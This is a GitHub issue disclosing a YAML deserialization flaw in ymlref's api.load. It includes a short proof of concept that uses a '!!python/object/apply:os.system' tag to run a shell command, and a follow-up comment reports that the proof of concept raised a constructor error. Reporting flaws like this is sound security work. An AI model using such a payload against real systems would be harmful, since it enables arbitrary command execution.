Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

api.load method is vulnerable #2

Open
bigbigliang-malwarebenchmark opened this issue Dec 14, 2018 · 1 comment
Open

api.load method is vulnerable #2

bigbigliang-malwarebenchmark opened this issue Dec 14, 2018 · 1 comment

Comments

@bigbigliang-malwarebenchmark

import ymlref.api
test_str ='!!python/object/apply:os.system ["dir"]'
ymlref.api.load(test_str,)

Hi, there is a vulnerability in load methods in ymlref.api.py,please see PoC above. It can execute arbitrary python commands resulting in command execution.

@Dezz27
Copy link

Dezz27 commented Dec 5, 2022

import ymlref.api test_str ='!!python/object/apply:os.system ["dir"]' ymlref.api.load(test_str,)

Hi, there is a vulnerability in load methods in ymlref.api.py,please see PoC above. It can execute arbitrary python commands resulting in command execution.

It seems it didn't work. yaml.constructor.ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply:os.system' is raising

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants